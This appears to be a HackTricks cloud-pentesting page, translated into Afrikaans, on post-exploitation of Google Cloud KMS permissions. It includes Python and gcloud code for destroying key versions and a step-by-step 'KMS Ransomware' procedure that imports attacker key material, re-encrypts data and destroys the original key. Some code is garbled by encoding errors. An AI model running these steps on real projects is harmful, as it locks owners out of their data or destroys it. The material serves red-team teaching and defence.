GCP - KMS Post Exploitation
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subscription plans!
- Sluit aan by die đŹ Discord group of die telegram group of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking tricks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
KMS
Vind basiese inligting oor KMS in:
cloudkms.cryptoKeyVersions.destroy
ân Aanvaller met hierdie toestemming kan ân KMS-weergawe vernietig. Om dit te doen moet jy eers die sleutel deaktiveer en daarna vernietig:
Deaktiveer en vernietig sleutelweergawe (Python)
```python # pip install google-cloud-kmsfrom google.cloud import kms
def disable_key_version(project_id, location_id, key_ring_id, key_id, key_version): âââ Disables a key version in Cloud KMS. âââ
Create the client.
client = kms.KeyManagementServiceClient()
Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)
Call the API to disable the key version.
client.update_crypto_key_version(request={âcrypto_key_versionâ: {ânameâ: key_version_name, âstateâ: kms.CryptoKeyVersion.State.DISABLED}})
def destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version): âââ Destroys a key version in Cloud KMS. âââ
Create the client.
client = kms.KeyManagementServiceClient()
Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)
Call the API to destroy the key version.
client.destroy_crypto_key_version(request={ânameâ: key_version_name})
Example usage
project_id = âyour-project-idâ location_id = âyour-locationâ key_ring_id = âyour-key-ringâ key_id = âyour-key-idâ key_version = â1â # Version number to disable and destroy
Disable the key version
disable_key_version(project_id, location_id, key_ring_id, key_id, key_version)
Destroy the key version
destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)
</details>
### KMS Ransomware
In AWS is dit moontlik om heeltemal **steel 'n KMS-sleutel** deur die KMS hulpbronbeleid te wysig en slegs die aanvaller se rekening toe te laat om die sleutel te gebruik. Aangesien hierdie hulpbronbeleide nie in GCP bestaan nie, is dit nie moontlik nie.
Daar is egter 'n ander manier om 'n globale KMS Ransomware uit te voer, wat die volgende stappe behels:
- Skep 'n nuwe **weergawe van die sleutel met 'n sleutelmateriaal** wat deur die aanvaller ingevoer is
```bash
gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]
- Stel dit as die standaardweergawe (vir toekomstige data wat geĂŻnkripteer sal word)
- Her-enkripteer ouer data wat met die vorige weergawe geĂŻnkripteer is met die nuwe een.
- Verwyder die KMS sleutel
- Nou kan slegs die attacker, wat die oorspronklike sleutelmateriaal het, die geĂŻnkripteerde data kan ontsleutel
Cloud Storage + CMEK machtigingsmodel
Wanneer objekte in Cloud Storage met CMEK geĂŻnkripteer is, word die decrypt/encrypt-oproepe na KMS uitgevoer deur die projek se Cloud Storage service agent wat se e-pos is service-${BUCKET_PROJECT_NUMBER}@gs-project-accounts.iam.gserviceaccount.com), nie direk deur die eindgebruiker wat die objek lees nie.
Dit beteken dat om iets wat deur ân CMEK geĂŻnkripteer is te lees:
- Die projek se cloud storage service agent moet KMS-permissies hĂȘ oor die gebruikte KMS-sleutel (tipies
roles/cloudkms.cryptoKeyEncrypterDecrypter). - Die gebruiker het slegs objek-leespermissies nodig (byvoorbeeld
storage.objects.get). Hy benodig nie permissies oor die KMS-sleutel nie.
Dit beteken dat om beheer oor toegang tot geĂŻnkripteerde data met die KMS-sleutel te hĂȘ, dit nodig is om KMS-permissies by te voeg/verwyder vir die projek se cloud storage service agent.
Neem kennis dat ân projekvlak binding soos roles/cloudkms.cryptoKeyEncrypterDecrypter vir die Storage service agent steeds ontsleuteling met die sleutels in dieselfde projek sal toelaat.
Hier is die stappe om ân nuwe weergawe te importeer en die ouer data te deaktiveer/verwyder:
Importeer nuwe sleutelweergawe en verwyder ou weergawe
```bash # Encrypt something with the original key echo "This is a sample text to encrypt" > /tmp/my-plaintext-file.txt gcloud kms encrypt \ --location us-central1 \ --keyring kms-lab-2-keyring \ --key kms-lab-2-key \ --plaintext-file my-plaintext-file.txt \ --ciphertext-file my-encrypted-file.encDecrypt it
gcloud kms decrypt
âlocation us-central1
âkeyring kms-lab-2-keyring
âkey kms-lab-2-key
âciphertext-file my-encrypted-file.enc
âplaintext-file -
Create an Import Job
gcloud kms import-jobs create my-import-job
âlocation us-central1
âkeyring kms-lab-2-keyring
âimport-method ârsa-oaep-3072-sha1-aes-256â
âprotection-level âsoftwareâ
Generate key material
openssl rand -out my-key-material.bin 32
Import the Key Material (itâs encrypted with an asymetrict key of the import job previous to be sent)
gcloud kms keys versions import
âimport-job my-import-job
âlocation us-central1
âkeyring kms-lab-2-keyring
âkey kms-lab-2-key
âalgorithm âgoogle-symmetric-encryptionâ
âtarget-key-file my-key-material.bin
Get versions
gcloud kms keys versions list
âlocation us-central1
âkeyring kms-lab-2-keyring
âkey kms-lab-2-key
Make new version primary
gcloud kms keys update
âlocation us-central1
âkeyring kms-lab-2-keyring
âkey kms-lab-2-key
âprimary-version 2
Try to decrypt again (error)
gcloud kms decrypt
âlocation us-central1
âkeyring kms-lab-2-keyring
âkey kms-lab-2-key
âciphertext-file my-encrypted-file.enc
âplaintext-file -
Disable initial version
gcloud kms keys versions disable
âlocation us-central1
âkeyring kms-lab-2-keyring
âkey kms-lab-2-key 1
Destroy the old version
gcloud kms keys versions destroy
âlocation us-central1
âkeyring kms-lab-2-keyring
âkey kms-lab-2-key
âversion 1
</details>
### `cloudkms.cryptoKeyVersions.useToEncrypt` | `cloudkms.cryptoKeyVersions.useToEncryptViaDelegation`
<details>
<summary>Enkripteer data met 'n simmetriese sleutel (Python)</summary>
```python
from google.cloud import kms
import base64
def encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext):
"""
Encrypts data using a symmetric key from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()
# Build the key name.
key_name = client.crypto_key_path(project_id, location_id, key_ring_id, key_id)
# Convert the plaintext to bytes.
plaintext_bytes = plaintext.encode('utf-8')
# Call the API.
encrypt_response = client.encrypt(request={'name': key_name, 'plaintext': plaintext_bytes})
ciphertext = encrypt_response.ciphertext
# Optional: Encode the ciphertext to base64 for easier handling.
return base64.b64encode(ciphertext)
# Example usage
project_id = 'your-project-id'
location_id = 'your-location'
key_ring_id = 'your-key-ring'
key_id = 'your-key-id'
plaintext = 'your-data-to-encrypt'
ciphertext = encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext)
print('Ciphertext:', ciphertext)
cloudkms.cryptoKeyVersions.useToSign
Teken boodskap met asymmetriese sleutel (Python)
```python import hashlib from google.cloud import kmsdef sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message): âââ Sign a message using an asymmetric key version from Cloud KMS. âââ
Create the client.
client = kms.KeyManagementServiceClient()
Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)
Convert the message to bytes and calculate the digest.
message_bytes = message.encode(âutf-8â) digest = {âsha256â: hashlib.sha256(message_bytes).digest()}
Call the API to sign the digest.
sign_response = client.asymmetric_sign(name=key_version_name, digest=digest) return sign_response.signature
Example usage for signing
project_id = âyour-project-idâ location_id = âyour-locationâ key_ring_id = âyour-key-ringâ key_id = âyour-key-idâ key_version = â1â message = âyour-messageâ
signature = sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message) print(âSignature:â, signature)
</details>
### `cloudkms.cryptoKeyVersions.useToVerify`
<details>
<summary>Verifieer handtekening met asymmetriese sleutel (Python)</summary>
```python
from google.cloud import kms
import hashlib
def verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature):
"""
Verify a signature using an asymmetric key version from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()
# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)
# Convert the message to bytes and calculate the digest.
message_bytes = message.encode('utf-8')
digest = {'sha256': hashlib.sha256(message_bytes).digest()}
# Build the verify request and call the API.
verify_response = client.asymmetric_verify(name=key_version_name, digest=digest, signature=signature)
return verify_response.success
# Example usage for verification
verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)
print('Verified:', verified)
cloudkms.cryptoKeyVersions.restore
Die cloudkms.cryptoKeyVersions.restore toestemming laat ân identiteit toe om ân sleutelweergawe te herstel wat voorheen geskeduleer was vir vernietiging of gedeaktiveer is in Cloud KMS, en dit na ân aktiewe en bruikbare toestand terug te bring.
gcloud kms keys versions restore <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>
cloudkms.cryptoKeyVersions.update
Die cloudkms.cryptoKeyVersions.update-toestemming laat ân identiteit toe om eienskappe of die toestand van ân spesifieke sleutelweergawe in Cloud KMS te wysig, byvoorbeeld deur dit in of uit te skakel.
# Disable key
gcloud kms keys versions disable <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>
# Enable key
gcloud kms keys versions enable <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subscription plans!
- Sluit aan by die đŹ Discord group of die telegram group of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking tricks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
HackTricks Cloud

